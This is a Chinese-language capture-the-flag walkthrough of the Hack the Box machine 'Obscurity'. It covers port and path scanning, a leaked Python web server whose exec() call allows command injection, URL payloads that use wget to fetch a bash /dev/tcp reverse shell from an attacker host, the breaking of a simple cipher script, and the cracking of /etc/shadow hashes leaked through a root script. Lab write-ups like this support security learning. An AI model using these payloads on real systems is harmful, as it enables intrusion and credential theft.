前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Hack the Box - Obscurity

Hack the Box - Obscurity

作者头像
Khan安全团队
发布2020-03-20 17:17:16
1.9K0
发布2020-03-20 17:17:16
举报
文章被收录于专栏:Khan安全团队Khan安全团队

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Obscurity”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。


摘要
  • 源码泄露 & RCE
  • 加密脚本破解 & 获取用户
  • root 密码破解


信息收集

nmap扫出了 22 , 8080 端口

代码语言:javascript
复制
root@localhost:~/hackthebox_workspace/finish/Obscurity# nmap -v -Pn -A 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 16:17 CST 
Scanning obscurity.htb (10.10.10.168) [1000 ports] 
Discovered open port 8080/tcp on 10.10.10.168 
Discovered open port 22/tcp on 10.10.10.168 
SYN Stealth Scan Timing: About 42.25% done; ETC: 16:18 (0:00:42 remaining)
Completed SYN Stealth Scan at 16:18, 49.61s elapsed (1000 total ports) 
Initiating Service scan at 16:18 
Scanning 2 services on obscurity.htb (10.10.10.168) 
Nmap scan report for obscurity.htb (10.10.10.168) 
Host is up (0.43s latency). 
Not shown: 996 filtered ports 
PORT STATE SERVICE VERSION 
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey: 
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) 
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) 
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 
80/tcp closed http 
8080/tcp open http-proxy BadHTTPServer

查看 8080 的 web ,发现提示 SuperSecureServer.py

已知文件名为 SuperSecureServer.py,然后我们使用wufzz扫描路径

代码语言:javascript
复制
root@localhost:~/hackthebox_workspace/finish/Obscurity# wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py    
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer         *
********************************************************
Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 949
===================================================================
ID           Response   Lines    Word     Chars       Payload       
===================================================================
000000259:   200        170 L    498 W    5892 Ch     "develop"     
Finishing pending requests...

路径为 :

http://obscurity.htb:8080/develop/SuperSecureServer.py


源码泄露 & getshell

得出源码

代码语言:javascript
复制
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

vuln 代码如下:

代码语言:javascript
复制
path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?

发现了 exec() 执行命令,可以构造命令注入

虽然python默认省略 ; 符号,但我们仍可以利用 ; 分割代码语句

利用ping -c 4测试是否成功

payload为:

> http:/obscurity:8080/';os.system('ping -c 4 10.10.xx.xxx');path='/';'

burp查看数据包返回时间判断是否成功

图片

反弹脚本为

代码语言:javascript
复制
root@localhost:~/hackthebox_workspace/finish/Obscurity# cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/xxxx 0>&1

用 SimpleHTTPServer 模块传输反弹脚本

> python -m SimpleHTTPServer 80

触发反弹url为(依次执行,并且在执行前用 nc 监听端口):

> http:/obscurity:8080/';os.system('wget http://10.10.xx.xx/shell.sh -0 /tmp/shell.sh');path='/';'

>http:/obscurity:8080/';os.system('chmod +x /tmp/shell.sh');path='/';'

> http:/obscurity:8080/';os.system('./tmp/shell.sh');path='/';'

加密脚本破解

获得shell后枚举发现用户 robert

在 robert 文件夹下发现功能为加密的脚本

脚本源码为

代码语言:javascript
复制
import sys
import argparse
def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted
def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

主要源码:

代码语言:javascript
复制
for x in text:
>        keyChr = key[keyPos]
>        newChr = ord(x)
>        newChr = chr((newChr + ord(keyChr)) % 255)
>        encrypted += newChr
>        keyPos += 1
>        keyPos = keyPos % keylen
> ```
> (字符串的每个字的10进制) -(输入的key密钥的10进制) 
> 
>   得出的东西再编码成10进制  
> *简单的10进制加解密*  

破解脚本

代码语言:javascript
复制
import sys
import argparse


def decrypt(entext,detext):
    keyword = ""
    a=-1
    for x in entext:
        a += 1
        newChr=ord(x)
        for i in range(48,123):
            decrypted=chr((newChr-i)%255)
            if decrypted == detext[a]:
                print(detext[a],end=" ")
                keyword += chr(i)+" "
                break
    return keyword

def main():
    parser = argparse.ArgumentParser(description='Dencrypt programming')
    parser.add_argument('-e',metavar='',type=str,help='Encrypted word',required=False)
    parser.add_argument('-t',metavar='',type=str,help='The plaintext you already know',required=False)
    args = parser.parse_args()
    if args.e != None or args.t != None:
        print("Reading file {0}".format(args.e))
        with open(args.e,'r',encoding='UTF-8') as f:
            endata=f.read()
        with open(args.t,'r',encoding='UTF-8') as f:
            dedata=f.read()
        print(decrypt(endata,dedata))  
    else:
        print("./decry.py -e demo -t demo")

if __name__ == "__main__":
    main()

chmod +x decry.py

./decry.py -e /home/robert/out.txt -p /home/robert/check.txt

得出密钥

alexandrovich

把密钥写到key文件中

touch /home/robert/key

echo "alexandrovich" >> /home/robert/key

./decry.py -e /home/robert/passwordreminder.txt -p /home/robert/key

得到密码并ssh登录robert得到user.txt

root 获取

在用户的文件夹下面有一个 root 所有的文件夹

打开发现脚本

脚本源码如下

代码语言:javascript
复制
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass
    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

脚本把文件移到 /tmp/SSH/ 下

然后判断用户输入的账号密码,判断失败后会将文件删除

破解后获得root密码

代码语言:javascript
复制
john passenc
代码语言:javascript
复制
su root
cat ~/root.txt

手握日月摘星辰,安全路上永不止步。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 摘要
  • 信息收集
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档